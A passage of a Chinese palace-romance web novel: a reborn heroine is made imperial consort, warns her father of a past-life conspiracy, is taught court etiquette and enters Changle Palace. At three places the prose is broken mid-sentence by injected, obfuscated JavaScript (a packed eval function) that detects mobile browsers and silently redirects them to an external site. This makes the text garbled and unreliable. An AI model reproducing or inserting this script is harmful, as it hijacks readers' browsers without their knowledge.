容肃文默然,许久又道:“陛下虽自小长在皇后膝下,但还是曾因生母的疯病而被先帝迁怒过。再者,陛下......年少时性情冷僻,少言寡语,不被先帝喜爱,甚至几次斥责过。而励阳王则举止稳重大方,进退合宜。正因如此,先帝在得子之后,依然还是很疼爱励阳王,甚至曾动过让他继位的念头。若非部分朝臣劝谏,主张国本归正,或许......” 他没有继续说下去,但一 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容棠抿唇,脑海中忽然浮现出萧磐提起天子崩逝之事时那张狂而得意的模样。如果这对兄弟当真是相伴多年手足情深,那么萧磐总该对辞世的弟弟有些伤痛之情吧?可他没有。 她还记得萧磐在丧期便毫不在意地沉湎声色之事,提起驾崩的天子也没有什么悲伤之色,反倒是痛快淋漓?难道,他盼这一天盼了很久?比起亲情,还是皇位和权势更加重要。 容棠觉得这对兄弟兴许并不是明面上那么和睦,皇室之中的一切总是笼罩着一层迷雾,所谓的情分,大概也会变吧。 “爹爹,”容棠迟疑片刻,“女儿有句大不敬的话想说。如今虽是陛下掌权,但那位年长又资历深厚的励阳王......是不是也培植了他自己的党羽?” “那位励阳王,是个怎样的人?”她竭力克制住语气,好让自己提起那个名字时没有流露出太过明显的恨意。 容肃文一时无言,半晌才缓缓道:“励阳王虽对陛下恭敬顺从,但不瞒你说,我曾与他有过来往,此人时时刻刻以温文面目示人,但从他的言行举止可以见得,他是个很有手腕之人。毕竟当年,先帝是以储君的标准来教养他的,他断非庸碌无为的草包,而是有真才实学的。他与陛下虽是兄弟,但却截然不同。以我私心论起,陛下才更像一位胸怀天下、宽严相济的君王。” 容棠沉吟道:“想当初,包括励阳王在内的所有人都以为他会是未来的天子,可到头来却是陛下继位,难道他真的没有半分不甘心吗?说不定多年前就已经有许多善于揣度时势的臣子暗中依附于他,效忠于他,以期望有个从龙之功,在他登基后受到重用。但励阳王目睹陛下继位,自知无望,只能多加收敛,处处恭顺。他的心腹们自然也会如此。” 容肃文长叹一声道:“你说得一点不错,我亦如此想。但一则陛下继位不久,励阳王即便真的有什么不臣之心,也会一再隐忍,不会被人轻易抓住明面上的把柄。因此,他究竟有没有结党,是否有些朝臣看似忠君,实则投靠他,或许只有陛下最清楚。” 徐翡思索道:“所以陛下不愿选太后或励阳王的人入后宫,免得助长了这两派的势力。” “可是......”容棠沉默片刻,“陛下明明可以谁都不选啊。” “......” 容肃文和徐翡双双语塞,一起看向她。 10. 定局 “难道不是吗?” 容棠说道:“陛下若是不肯选秀,大可以将此事驳回。难道太后还会逼着他册立后妃吗?” 前世的皇帝都能违拗太后的意思,执意将选秀之事否决,且能堵住群臣劝谏的悠悠之口,为何这一世偏要选呢?容棠隐隐有种不祥的预感,难道发生了什么她不曾了解的变故?这奇怪的一切,难道都是拜她的重生所赐?否则,缘何这一世与上一世有那么多不同之处? 可是......容棠皱眉。她一个人的重生,真的能有这样大的影响吗? 容肃文面色几度变换,最终眉宇间还是被浓重的无奈与疲惫笼罩:“君心难测。我虽伴驾多年,却也无法猜透陛下的每一个想法。况且那份名单几乎囊括了朝中和京中所有有名有姓的官员,那么多人中,并非只有我一人是忠于陛下的,陛下何以对棠棠另眼相待?” 容棠也觉得不解,他连自己的面都没见过,居然要选自己入宫,真是荒唐。又或者,他只是突发奇想,随手一选? “以我对陛下的了解,”容肃文皱眉,“他不会将这种事情视为儿戏而随意处之的。” 此人太过可恶,他究竟打的什么鬼主意! 顾琼珠对他一往情深他却视而不见,白白辜负人家的一片痴心,反而将自己这个对他没有半分真情的人强行选进宫,真是不解风情,强人所难! 容棠想起那日在御花园向崔婉复述顾琼珠那番话时的情形。虽然那些字句并非出于自己的本意,但她还是忍不住为顾琼珠藏在话语中的真情所打动,因而转述时情不自禁有些感慨万千,仿佛透过字里行间触碰到了炽热的少女情怀。 真该让皇帝亲耳听听顾琼珠的那番剖白,容棠不信他不会为之感动。 想入宫的人没了机会,不想入宫的人祸从天降。容棠恶狠狠地攥了攥拳头,口不择言:“我究竟哪里得罪他了?要这样报复我!” 容肃文大惊:“棠棠,不可胡言!” “眼下什么缘故已经不重要了,”徐翡愁眉紧锁,“棠棠入宫之事已成定局,我担心......若太后见自家外甥女没能如愿成为皇后,会不会心有不满,迁怒于棠棠?棠棠若是被太后为难,受了委屈又该如何是好?” 容棠咬咬唇,说道:“我绝不会傻傻地任由旁人欺负。” 容肃文面色黯然,说道:“我想,那份名单的众人之中,陛下唯独选了棠棠,总该是有几分实意的。只要有一分真心,他便会护着棠棠的。” 此话似乎有几分道理。容棠能从众人之中脱颖而出,且是满宫独一份的荣宠,足以见得皇帝对她的重视。况且,容家也远没有尊贵煊赫到能让皇帝刻意笼络的地步。若皇帝真的需要靠拉拢外戚来巩固自己的帝位,那他就该选顾琼珠入宫了。 容棠却并未将爹爹这句话当真。都说君王薄情,她可不敢奢望那位尊贵无比的陛下能对自己有什么真心。往后入了宫,她若是想过得顺心遂意,自然不能将希望寄托在他身上,还是得靠自己才是。 她垂眸叹气,喃喃道:“爹爹,此事是不是已经板上钉钉,再无回旋余地了?” 其实容棠心中何尝不明白,天子金口玉言,岂会朝令夕改?此刻怕是圣旨已经拟好,只等三日后到府上传旨了吧。因而她甫一问出口,随即便涩然一笑:“看来,女儿只能认命了。” “棠棠,”容肃文轻抚女儿的肩膀,“我和你娘原本想着你年岁尚小,不必急着说亲,想让你在家中多留几年,好好享享福,谁知却出了这样的事情。早知今日,不如早早为你择一门好亲事,即便嫁人了,总归还在京城,可以时常见面。可你一旦入宫,只怕......” 为妃嫔者,不论有无恩宠,都不可能再有重获自由的那一日了。若有子嗣,后半生还能有个依靠;若无子嗣,那么要么死在皇帝之前,要么就在宫外守陵到死。容棠明白,却也只能认命。 只是眼下,还有另一桩要紧的事情。 “爹爹,”容棠犹豫片刻,开口道,“您如今的公务与差事,做得还顺利吗?陛下对您是不是信任有加,可曾为难过?朝堂上有没有人和您起过争执或是冲突?” 容肃文讶异道:“棠棠,你为何这样问?” 容棠抿唇,轻声道:“我......我一想到日后不能陪在爹和娘身边,许多事情都无法即刻知晓,心中便忍不住担心。我也怕自己在宫中若是不得陛下欢心,倘若再连累了爹爹的仕途,该如何是好?” 她思来想去,必得将前世那场针对父亲的阴谋婉转地提一提,好让容肃文多加提防,免得在陵寝修建一事上再着了旁人的道。虽然不知那场祸患究竟是如何发生的,但她可以确信,那件事一定和萧磐脱不了干系。 爹爹一心忠于当今圣上,对萧磐并无甚好感。而萧磐登基后拉拢不成,一定会设法扶持自己的人。如何让他的人上位呢,那必然是先寻个由头将先前的人惩处了,冠上无法饶恕的罪名,这样才能顺理成章让自己的心腹顶上。 想要避开此事,除了祈求皇帝长命百岁,也需提醒爹爹自己打起十二分的精神,万事谨慎小心。 容棠心念一转,百般思索后道:“爹爹,我前些日子做了一个噩梦,心中实在担忧,还请爹爹听我一言。倘若梦境为虚妄自然是好,可若是......这梦有所预示,爹爹也好早有打算。” 容肃文问道:“什么梦?” 容棠便将前世的那些事情委婉地说了,只不过假借噩梦之名。她边说,边忐忑不安地看着爹爹的反应,生怕自己的话有什么漏洞,从而无法让爹爹放在心上。 容肃文听罢,陷入了长久的沉默。 容棠心中直打鼓,生怕爹娘觉得自己是受了什么刺激才会语出惊人。她正斟酌着如何解释,却见容肃文面上浮起一丝愧色,叹道:“棠棠,是爹爹不好,没能让你事事安心,反而梦里都在为我担忧。” 他抬手轻轻抚摸着女儿的发顶,缓声道:“棠棠,你所说之事我心中明白。你放心,爹爹在朝中多年,对那些算计手段都有凡事自然也是有一定把握的。至于励阳王,有陛下在,他必然不敢轻举妄动。爹爹也会时刻提防,同时劝谏陛下小心。” “至于皇陵修建之事,爹爹记住了,”容肃文道,“不论是外部建筑还是地宫,我都会打起十二分的精神,必不会出差错。” 虽然得了爹爹这句话,但容棠还是不曾展眉。前世那桩桩件件,症结都在皇帝身上,一切灾祸皆是因为他的离奇崩逝而导致的。那么自己此番进宫,到底能不能扭转前世的命运呢?朝堂之上的事可以靠父亲周旋,可皇帝的身心健康还是得靠自己这个妃子来上心啊。 她于宫闱之事并不了解,心中也无十足把握一定能够成为宠妃,更摸不清皇帝的性情,不知该如何制造与他接触的机会。若是太过刻意,会不会反而被他厌烦,适得其反?可若是毫无动作,那么自己重活一世岂不是于事无补? 容肃文见女儿眉宇间都是不安,心中一酸,抬手抚了抚她的肩膀,叹息道:“棠棠......爹爹只希望你能在宫中平平安安地生活,不必时刻为我担忧。” “棠棠,你此番入宫,要遵从宫中的规矩,莫要让人挑出错处,不必为了爹爹的官位而想方设法博取陛下的欢心。爹爹有自己的本事,用不着依仗自己的女儿。”容肃文道。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“棠棠,但你一定要在保住自身平安的前提下,再做下一步打算,切不可轻重颠倒了。即便陛下不宠爱你,只要你没有过错,也是可以在宫中安稳度日的。” 容棠点头,心中却明白,爹娘殷殷嘱托皆是不愿让自己心存不安,但一旦入宫,容家满门便系于自己一身,一荣俱荣。她即便对陛下毫无情意,却也要尽力得到他的宠爱。这不单单是为了自己的日子好过,也是为了容家上下。 最重要的是,她要想法子接近皇帝,只有与他朝夕相处,才有可能帮助他避开前世那场要了他性命的骑马之行,保住他的性命。只有皇帝好端端活下去,萧磐才不会上位。 她打定主意,心中烦乱的情绪稍稍定了定,尽力扬起笑容,说道:“爹娘不必为我担心,相信女儿能够在那深宫之中好好度过这一生。再说,我入宫也不全是坏事。我身在宫中,若是有什么变故或是风声,兴许能很快听说,从而早做准备,免得远离皇宫从而懵然不知。” 既然入宫之事已成定局,再伤心也无济于事,不如平常心对待,有所筹谋。 容棠低眸,忽然想起一事,迟疑半晌,还是看向容肃文,声若蚊蚋:“爹爹,女儿还有一个问题。” 容肃文见她面色严肃,忙问道:“何事?” “陛下他......”她斟酌再三才开口,“模样如何?五官是否英俊?” 容肃文:“......” 他抬手捏了捏眉心,无奈道:“你为何有此一问?” 容棠见爹爹神色略有尴尬,便辩解道:“入宫如嫁人,哪有姑娘乐意找一个容颜丑陋、举止粗俗的夫君?” 容肃文听得心惊肉跳,连连摆手:“……陛下龙章凤姿,一表人才,断非你所担心的那种人。” “那就好。”容棠放下心来。她可不想往后余生和一个貌丑之人日夜相对,男人的好皮囊也是很重要的,至少能让她心情愉悦。 11. 贵妃 三日后,宫中的内侍来到容府宣旨。 容棠随爹娘在前厅跪下,耳边先听了一段漫长而又华丽的赞颂之词,随即才听到了关键之处:“......工部尚书之女容氏,敬慎柔嘉,温恭端淑,特封尔为贵妃,于四月二十六入宫,二十八日行册封礼,钦此。” 贵妃?她一愣,面上浮起震惊之色。 按大燕后宫规制,除皇后外,最尊贵的便是贵、淑、德、贤四位正一品妃子,而贵妃又居四妃之首,地位不言而喻。 原本以为自己即便入宫,最高也不过是妃位罢了,可这捉摸不透的皇帝陛下,却给了她这样的位分,究竟有何用意?她既非潜邸旧人,又不是一等一的家世,却初封便是贵妃。如今宫中没有皇后,她这贵妃的分量愈发显得重了。皇帝此举看起来对她颇为上心,就是不知道是真情还是假意了。 容棠心中讶异,却不敢在面上流露半分,只依礼随父亲一道起身接旨,思绪忍不住有些游移。 四月二十六......那岂不是意味着,她只能在家中再待一月有余了? 那内侍一改方才宣旨时的严肃,笑容满面地道:“容大人大喜啊!这可是陛下登基后册立的头一位贵妃,可见陛下爱重。” 容肃文领着妻女谢了恩,满面谦逊。那内侍又笑道:“十日后,宫中会有教引女官到贵府,为贵妃娘娘指点一二。” 送走宫中的人,容棠揉了揉额角,闷闷不乐地想:看来十日后,她便要开始日日学习宫中的礼仪规矩了吧。到那时,她的日子便不会如当下这般自在了。 于是接下来几日,容棠把自己所能想到的、亦或是从前未曾做过的事情都尽力做了个遍。 这一日她午睡醒来,便听见禀报说虞姑娘来了,下一刻便看见满脸忧急的虞忆安快步走了进来。 “棠棠,你还好吗?” 两人多年挚友,容棠立刻明白了她的言外之意,不由得微微苦笑:“事已至此,我别无办法,只能平静接受了。” 虞忆安在她身畔坐下,眉头紧蹙:“我昨日才回京,听母亲说起此事时险些以为自己听错了。棠棠,宫中不比家中,我担心你......你入宫后,有何打算?以你的家世和位分,只要不犯大错,必然可以平平安安的。” 容棠心底叹气,她想要的,不单单是保住自己的平安。因而她此次入宫,定不能安于现状,顺其自然。否则一年之期一到,皇帝一死,届时她身为妃嫔,若无子嗣,便又会被送去守陵,而一旦萧磐上位,必然又会落入前世那般境地。 她心中藏着许多顾虑与心事,然而看着虞忆安担忧的模样,便笑着道:“放心,我心中有数。” 虞忆安看着容棠云淡风轻的模样,心中愈发酸楚。她知道,容棠一旦入宫,她们便再也无法如今日这般轻松惬意地坐在一处闲话饮茶了,甚至连再见一面也变成了奢望。想到这里,虞忆安的神情低落了下去。 容棠拍了拍她的手背,笑了笑道:“忆安,不用为我担心。我是入宫,又不是上刑场,只不过换了个地方继续过日子罢了。” 她语气轻松,虞忆安叹了口气,半晌不语。 容棠忽然想起什么,吩咐岚月将自己枕头下的匣子取来,递给虞忆安道:“宫中的教引女官快来了,到那时我只怕分身乏术,因此这几日赶着将那话本子的故事写了一些,只可惜......” 虞忆安抬起头,面色有几分茫然,旋即才反应过来,不由得愧疚起来:“棠棠,早知如此,我不该催你写故事出书的......让你耗费了这么多心神在此事上。” “忆安,”容棠用力摇摇头,“原本那些内容也是我自己乐意写的,并非是被你催促的结果。你千万不要这样想。” 她道:“其实这个故事应当还未到结尾,只是我实在无暇去写了。你先瞧这些能不能刻印,若是不行......” 虞忆安抹了抹泪道:“我会把它们尽数刻印成书的,若是能赶在你入宫前做完,我会设法给你送来。” 容棠抬手轻轻抚过纸张表面,心中有些不舍。虽说她最初只是为了宽解心绪而将那些梦境的内容记录下来,但后来受了虞忆安的启发,她如获至宝,开始有意识地在落笔时构思了不少额外的情节。也是因为此事,她寻求到了一个独一无二的舒心方法,再也没有被噩梦困扰过。 两人相对无言,片刻后才各怀心事地靠坐在了一处,幽幽叹气。容棠喃喃道:“忆安,我真的不明白,他为何要选我?” 虞忆安亦皱眉道:“是啊,你们并无交集,他怎会......”她突发奇想,道:“难道这位陛下其实见过你,并且对你有了情意,才会借选秀之事召你入宫?” 容棠迟疑道:“我从未和陌生男子有过什么接触和往来,最多是擦肩而过罢了。你的意思是,他见色起意?” 虞忆安:“......但一国之君,应当不至于这般肤浅吧?” 容棠苦恼地摇头:“谁知道呢。算了,事到如今还谈论是何理由已经没有意义了,我还是好好珍惜眼下的日子吧。” “棠棠,你有没有什么想做的事情?”虞忆安问道,“趁着如今还算自由,该及时行乐才是。” 容棠双手托腮,幽幽叹气道:“我知道该趁着这个时候多多享受一番,可一时半会还真不知道该做什么。忆安,你有什么主意吗?” 虞忆安想了想道:“昨日爹和娘还念叨你呢,盼着你能去府上坐坐他们也许久未见你了。” 容棠怔了怔,心底涌起酸软的不舍:“是了。再不去见他们,往后便没有机会了。” 虞氏夫妇对她来说是仅次于父母双亲的人。容棠小时候身体不好,便与虞氏兄妹一道跟在虞世叔身后学拳脚功夫,并浅习弓马,以此强身健体,她的骑射之术便是在那时学会的。只不过容肃文一向担心女儿伤筋动骨,又经历了坠马之事,便不大赞成她继续研习此等武艺。 加之大燕京城之中对闺中女子的推崇,大多以女子娴静柔婉为上,高门贵女们日常宴饮相聚也多以投壶、曲水流觞等风雅之事消磨时间,不会有谁在众目睽睽之下舞刀弄枪的。即便如顾琼珠这样的将门之女,也不会处处以擅武而自矜,而只会尽力展现自己诗书娴熟、知书达礼的一面。旁人提起她,至多赞一句明艳夺目,不失家门风范罢了。因此,容棠一直隐藏锋芒,除了知根知底的虞家人,再没有外人知晓她其实颇通骑射之术的事情。 而骑马相对而言更容易为人接受,不少贵女虽算不上精通马术,但至少有所涉猎,闲来无事偶尔也会与人相约外出骑马,只不过很少会纵马疾驰,一决胜负的。 毕竟,俗世男子大多还是喜欢温柔娴雅的女子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15762668|174452||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,即便是天子也不能免俗。 容棠低叹一声,起身道:“走吧。” * 两日后,负责教引的宫人来到了容府,负责为容棠介绍宫中的各种规矩礼仪。 这位教引女官姓宋,约莫四十岁上下,生了张颇为严肃的脸。容棠起初见她这副冷脸有些忐忑,然而慢慢接触下来,却发觉这位姑姑面冷心热,其实是个耐心十足、温和细致之人。 她讲解礼仪、教授规矩时虽不苟言笑,但却并非毫无耐心之人。容棠偶有不解,她也会耐心解答。 从宋姑姑口中,容棠得知,如今后宫诸事皆是由皇太后做主,待她入宫后,便要以贵妃之位摄后宫诸事,将主理六宫之责接过来。不过,宫中除了她之外并无其他妃嫔,容棠所要做的,也只是管束宫中大小事务和宫人。 接连几日学下来,容棠对宫中的情形也算是了解了不少。 宋姑姑道:“来日娘娘入宫后,宫中还会为娘娘行正式的贵妃册封礼。您是陛下登基以来头一位贵妃,礼部早早便预备下了。” 容棠这些时日已然心如止水。她看得很开,自己一入宫便是贵妃,不必从最低等的妃嫔一步步做起,少吃了很多苦头,至少这待遇和份例不会差,这可以说是不幸中的万幸了。不管这位陛下究竟打的什么主意,至少他是个大方的君王,在位分上毫不吝啬。 虽然日后他或许还会再选妃嫔,但至少短时间内,后宫只有她一人,这无形中便少了许多糟心的事情,自己也不必与旁人斗来斗去,岂不是清静自在?容棠想到这里,心情又更好了一些。 一晃数日过去,容棠自觉那些复杂的宫廷礼仪都学得差不多了,宋姑姑所提的问题她也能尽数答得上来。 这一日授课完毕,宋姑姑照例进行提问:“娘娘可知,身居贵妃之位,有何职责?” 容棠很快将这些日子所学内容融会贯通,一一回答,左不过就是对上温良恭顺,对下宽严相济,持躬谨严,和睦六宫,断不可作心胸狭窄、争风吃醋之状。 宋姑姑满意颔首,说道:“娘娘聪慧,一点就通。只是除此之外,另有一点:为妃嫔者,当为上绵延后嗣。” 想要绵延后嗣,那岂不是要先...... 容棠一直克制自己不去想那件入宫后最迫在眉睫之事。可既然成了皇帝的妃嫔,那么侍寝是无论如何也逃不掉的。 害怕吗?她扪心自问,似乎也是有些怕的,可是和死比起来,侍寝算得了什么大事?作为一个死过一次的人,她不该去畏惧死亡之外的所有事情。侍寝便侍寝吧,谁怕谁? 宋姑姑见她神情异样,却以为是女儿家脸皮薄,便温言道:“娘娘安心。进御得幸之事,来日会有宫人亲向娘娘讲授,以娘娘的敏慧,自然会领悟透彻的。” 容棠佯装羞涩地笑了笑,心底却忍不住哀嚎:谁想把自己的聪慧用在领悟这种事情上啊? 宋姑姑又变戏法般从怀中取出一本册子,双手奉上,说道:“此中之事,娘娘可先自行翻看此册,若有疑惑不解之处,可在入宫后进一步学习。” 容棠顿时觉得那画册如烫手山芋一般,不知接还是不接。她一抬头,却见宋姑姑神色平静,波澜不惊,更显得自己大惊小怪一般。 她头皮发麻,颤着手接了过来,镇定自若道:“多谢姑姑教导。” 12. 入宫 皇宫,福宁殿。 御前内侍程良全快步走进御书房,恭声道:“陛下,礼部尚书求见,说是前来回禀贵妃娘娘册封礼的一应事宜。” 御案后的人正垂眸批阅着堆积如山的奏折,闻言只淡淡嗯了一声,并不多言。程良全会意,很快退了出去,不多时,礼部尚书便迈步进了御书房,恭恭敬敬行礼请安。 后妃册封礼皆有惯例可循,礼部尚书历经两朝,于此事自然烂熟于心,不会出什么差错,皇帝也只例行公事般吩咐了句好生准备,便命他退下了。 程良全察言观色,默不作声上前,轻手轻脚为皇帝换了一盏正温热的茶,随即肃立在旁,眼观鼻鼻观心,随时听候吩咐。 御书房内静悄悄的,程良全忍不住有些神游。 他自皇帝未登基时便随侍在侧,自诩对自家主子的心意都很了解,然而想起方才陛下听礼部禀报时那平淡而无甚波澜的神情,心头的疑惑愈发深了些。 这位贵妃娘娘,究竟是何来头?陛下对她又是什么态度? 他身为御前的心神耳目,自然知晓陛下先前根本无意于后宫之事。陛下是皇子时便始终未曾娶妻,后院空无一人,论情论理,都该在登基后尽快充实后宫。 可陛下登基以来,对此毫无兴致,面对群臣的劝告与试探更是充耳不闻,满心只有朝政大事。因此,前些日子太后重提选秀之事时,他以为陛下又会干脆利落地拒绝。 那份选秀名单囊括了京城无数官宦人家的女子,少说也有几十余人。她们都是待字闺中的妙龄少女,陛下甚至根本没见过几人的面,更不要说了解她们的性情了。 那日送来名单,他在一旁看得清楚,陛下的目光缓缓扫过那些名字,不过看了个开头,便提笔圈出了其中一处,余下的竟看也不看。 以陛下清冷淡漠的性子,对一个女子这般另眼相待,着实让人诧异。更不必说,他还给她贵妃这样高的位分,要知道,本朝贵妃几乎都是帝王心头所爱,是当之无愧的宠妃。 程良全心想,陛下该是喜欢她的吧?否则怎会在茫茫人海中只选了她一人? 然而他观陛下的神态举止,却又不似钟情于人的模样。陛下听着有关册封礼的事宜时,面上神色那般淡漠,完全看不出对贵妃的重视之意。 可若陛下不喜欢她,又怎会执意选她入宫,还亲口钦点了曾在御前服侍过、沉稳踏实的宋女官去容府上为贵妃讲授宫廷礼仪呢?要知道,此等事情原不必陛下亲自过问。程良全百思不得其解,对这位将要入宫的贵妃娘娘更是添了十二分的好奇。 程良全正胡思乱想着,忽然听见陛下咳嗽了一声,抬头看去,却见陛下搁下了御笔,徐徐起身。 看了眼墙角的莲花滴漏,他知道陛下这是要安寝的意思了,忙吩咐了宫人收拾内寝床铺,焚上安息香。 不知为何,陛下自数月前便屡屡被怪梦惊醒,夜夜不得安眠。后来,陛下突然下旨,要将寝宫从乾恩殿迁至如今的福宁殿。 此话一出,在宫中掀起轩然大波。大燕先前几位帝王的起居之处一直是乾恩殿,这几乎已成定式,就连太后也委婉劝过,认为天子寝宫乃龙脉所在之处,岂可随意改变? 但陛下心意已决,很快便搬出了乾恩殿,使得那座原本华美富丽的宫殿空置了下来。说来也怪,自打陛下在福宁殿住下后,便再也没有被噩梦搅扰,只是依旧有些不寐之症,因此每晚都需燃安息香。 程良全服侍陛下沐浴更衣后,见陛下靠坐在床头闭目不语,心下了然,便如往日一样将床尾一处暗格里的锦盒取了来,恭恭敬敬奉上。 那锦盒里放了几本很重要的册子,是近日陛下睡前必看之物。 他虽不知内容,但见瞧着陛下看那书册时专注的样子,便猜测一定是和朝政息息相关的。毕竟陛下是一国之君,又不会去看些毫不相干的杂书。 果然,陛下翻开其中一册书,静静看了起来,神色极其认真。 程良全肃然起敬,心中默默感叹陛下果真勤政,白日里埋首奏折也就罢了,就连晚间安寝前还手不释卷,真是时刻都不放松啊。 大燕有这位君主,真是上天赐福。 他正想入非非,忽然听见陛下开口道:“贵妃是二十六入宫吗?” 程良全敛神,忙回道:“正是。娘娘二十六日入宫,二十八日行贵妃册封礼。尚寝局已择了清澜宫为娘娘的居所,不知陛下意下如何?” 半晌,皇帝淡淡道:“清澜宫不妥。” 程良全一愣。清澜宫距离皇帝寝宫不远不近,规制也符合贵妃的位分,是一座中规中矩、让人挑不出错处的宫殿,不知有何不妥? 他悄悄抬眼看了眼上首,见皇帝的眸光略一犹疑,随即手指轻叩奏折,说道:“告诉尚寝局,将贵妃安置在长乐宫。” 长乐宫取长乐未央、万寿安康之意,比之清澜宫更华丽宽敞,院内景致也很是宜人,最重要的是距离皇帝寝宫更近。程良全心中一动,难道陛下对贵妃其实还是有几分情意的? 只是他鉴貌辨色,却从皇帝面上看不出丝毫将要迎心爱之人入宫的喜色。皇帝谈起贵妃居所时的模样神态,和他谈论其他朝政之事毫无区别,与其说是格外关照,不如说是例行公事。 程良全有些遗憾,他真心实意盼着皇帝能得一位知心人,免得总是将一切事情闷在心里。毕竟,他知道陛下这些年所经历的种种风波和苦楚。 * 四月二十六,宜嫁娶。 天色微明,容棠便已起身,由人服侍着梳妆打扮,待一切准备停当,便启程入宫。 烟雨和岚月作为自小跟着她的侍女,理所当然随她一道入宫。两人麻利地为容棠换上贵妃服制,再扶她在妆台前坐下。 几日前,宫中便派人送来了贵妃的吉服和一应佩饰。容棠换上那华丽的衣裳,又将满头青丝绾成发髻。她垂眸,发上佩饰光华璀璨,摇曳生姿。 宫中派来的女官细心为她描画眉眼,涂脂敷粉,将她原本就娇美明媚的五官一点点添上了雍容华贵之气。容棠盯着铜镜中那张熟悉的面容,恍惚间好像回到了前世入宫前的日子。那时的她无名无分,自然没有这等仪式,但心境却无甚差别,都是一样的复杂而不安。 女官笑着奉承:“娘娘丽质天成,艳冠群芳,难怪是陛下心头所爱。” ......这又是谁传的谣言?容棠无奈,却不好多说什么,只能故作矜持地一笑。 好不容易妆扮完毕,她被人扶着起身,先去前厅拜别了父母,再出府门上轿。 在一叠声的恭贺道喜之中,容棠却看见了爹娘笑容之下微红的眼眶。她抿住唇,眼底酸涩,却不敢落泪,只能依依不舍地望着双亲,拼命想再多看他们几眼。 可惜吉时已到,容棠不得不转身向府外走去。她迈步上了轿子,轿帘落下,隔绝了府内众人不舍的目光。 容棠端坐轿中,平复了心情,纷繁愁绪很快被一股蓬勃而起的斗志所取代。她已经想清楚了,她要好好把握入宫后的每一日,尽自己所能争得皇帝的眷顾,并且要好好尽一尽妃嫔的职责,悉心照料他的龙体,确保他能活得长久一些。况且,只要皇帝在一日,励阳王就不敢轻举妄动,自然也不会对父亲发难。 若是自己能成为真正的宠妃,或许皇帝也能爱屋及乌,对容家、对父亲多一些眷顾,便能保住全家上下的平安,避免遭遇前世那般变故。至于如何争宠,还得在见过天子之后再做打算。 她踌躇满志,俨然一副迎接战斗的姿态。 * 皇宫内苑,碧瓦飞甍,雕梁画栋。 “长乐宫……”容棠止住步伐,抬头看向匾额。 跟随在她身侧负责引路和介绍宫室的是尚宫局的掌事女官,见状含笑道:“陛下特意下旨将长乐宫拨给了娘娘居住,定是出于对娘娘的体贴眷爱之心,希望娘娘能长乐未央。” 阖宫上下都知道,皇帝终止了原定的选秀之事,从满京城的佳丽中独独挑选了容家之女,又将她封为贵妃,足可见对她的宠爱。如今后位空悬,这位贵妃娘娘便是后宫实际的主人,所有的宫人自然都会对她恭敬有礼,都想在未来的主子面前博个好印象。 从最初的不自在到如今的平静接受,容棠已经对诸如此类的话麻木了。她面色自若,在女官的指引下举步进了宫门。 女官笑着道:“娘娘有所不知,先前尚寝局为娘娘择的原本是清澜宫——那座宫殿自然也是华美富丽的,只是不如长乐宫距离陛下的寝宫更近,陛下得知后,亲自下旨将娘娘的寝宫改成了长乐宫。可见,陛下时时刻刻将娘娘放在心上。” 清澜宫?容棠微微一怔,随即醒悟过来,往事如潮水般涌入脑海中,那种暌违已久的战栗再度袭上心头。她抿唇,努力让自己的面色保持平静——清澜宫正是前世她们几个奉旨冲喜之人在宫中的居所。 思及往事,容棠缓缓舒了一口气。她有些庆幸自己的寝宫不在那里,否则真的住进去后,只怕会屡屡想起前世之事,难以安眠。虽然皇帝不知前世之事,也不知他是出自什么目的将长乐宫给了她,但她还是打心眼里感激他。 “娘娘当心脚下。”容棠回神,发觉她们已经绕过了影壁,来到了院中。长乐宫果然如女官所言,宽敞阔朗,风景如画。宫门通往前殿的路两旁是一方阔大的水池,池内遍植芙蕖,若到盛夏时节,必然荷香弥漫。 正殿是起居之处,布置得很是华贵,既彰显了贵妃的身份,又不会太过俗艳。一应陈设摆件都精巧华美,容棠边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15773865|174452||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看边暗暗称奇,果然还是宫中宝贝多啊。 容棠欣赏了一番殿内景象,便在主位上坐了,长乐宫所有宫人恭恭敬敬向她请了安。 宫人们规规矩矩跪了一地,心中却克制不住兴奋。他们都知道,这位新入宫的贵妃娘娘不仅出身官宦之家,还深得陛下喜爱。陛下为了她,竟视满京城其他女子于不顾,而独独钦定她为仅次于皇后的贵妃。跟着这样的主子,日后定是不愁吃穿了。若是贵妃娘娘来日成了皇后,他们岂不是也跟着水涨船高? 容棠只简单提点了几句,恩威并施,便让他们退下了,只留下烟雨和岚月。 她倚在窗边长榻上略眯了会,便被岚月轻声唤醒:“娘娘,长乐宫的掌事宫女求见。” 容棠打了个哈欠,接过岚月递来的茶抿了口,道:“传她进来吧。” 掌事宫女名唤飞雪,约莫二十来岁,举止沉稳,在宫中已经待了多年。容棠对她很客气,免了行礼,只问她何事。 飞雪道:“不知娘娘午膳想用些什么菜式?奴婢领了膳房的人前来听候吩咐。”说着,她引着身后一个宫女上前请安。 膳房现有四人,分别擅长烹调不同的食物,其中主管膳房的宫女名叫拂云,生了张圆圆的脸,笑起来很是喜庆。两人恭谨地等着容棠吩咐,然而她此刻却想着旁的事情,一时间也不知该吃些什么,不由得有些沉默。 